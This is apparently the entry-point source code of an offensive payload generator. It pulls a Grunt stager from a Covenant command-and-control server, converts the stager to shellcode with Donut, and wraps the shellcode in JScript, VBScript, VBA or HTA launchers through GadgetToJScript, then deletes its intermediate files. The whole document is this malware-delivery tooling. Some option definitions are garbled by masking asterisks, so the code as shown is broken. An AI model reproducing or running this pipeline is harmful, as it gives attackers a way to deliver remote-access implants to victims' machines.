static void Main(string[] args)
{
var show_help = false;
OptionSet options = new OptionSet()
{
{ "c|ConvantURL=", "https://127.0.0.1:7443", v => _CovenantURL = v },
{ "u|Username="******"Covenant username", v => _Username = v },
{ "p|Password="******"Covenant Password", v => _Password = v },
{ "w|scriptType=", "js, vbs, vba or hta", v => _wsh = v },
{ "e|encodeType=", "VBA gadgets encoding: b64 or hex (default set to b64)", v => _enc = v },
{ "o|output=", "Generated payload output file, example: C:\\Users\\userX\\Desktop\\output (Without extension)", v => _outputFName = v },
{ "r|regfree", "registration-free activation of .NET based COM components", v => _regFree = v != null },
{ "h|help=", "Show Help", v => show_help = v != null },
};
try
{
options.Parse(args);
if (_wsh == null || _outputFName == null || _CovenantURL == null || _Username == null || _Password == null)
{
Console.WriteLine("here");
showHelp(options);
return;
}
if (!Enum.IsDefined(typeof(EWSH), _wsh))
{
showHelp(options);
return;
}
if (!Enum.IsDefined(typeof(ENC), _enc))
{
showHelp(options);
return;
}
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Console.WriteLine("Try --help for more information.");
showHelp(options);
return;
}
File.WriteAllBytes("GruntStager.exe", Convert.FromBase64String(CovenantAPI.DoStuff(_CovenantURL, _Username, _Password)));
Console.WriteLine("Trying donut shizzle");
string[] DonutArgs = new string[] { "-f", "GruntStager.exe" };
Donut.Donut.DonutMain(DonutArgs);
Console.WriteLine("Generating Payload Template");
string _wshTemplate = "";
string shellcode = File.ReadAllText("payload.bin.b64");
Assembly assembly = Assembly.GetExecutingAssembly();
using (Stream stream = assembly.GetManifestResourceStream("CovToJScript.GadgetToJScript.templates.payload.template"))
using (StreamReader reader = new StreamReader(stream))
{
_wshTemplate = reader.ReadToEnd();
_wshTemplate = _wshTemplate.Replace("%BASE64%", shellcode);
}
File.WriteAllText("payload.txt...", _wshTemplate);
Console.WriteLine("Payload Template Generated...");
Console.WriteLine("Generating new launcher...");
GadgetToJScript.GadgetToJscriptProgram.DoStuff(args);
Console.WriteLine("Cleaning Up...");
try
{
File.Delete("payload.bin");
File.Delete("payload.bin.b64");
File.Delete("payload.txt");
File.Delete("GruntStager.exe");
}
catch { }
Console.WriteLine("Generation Complete...");
}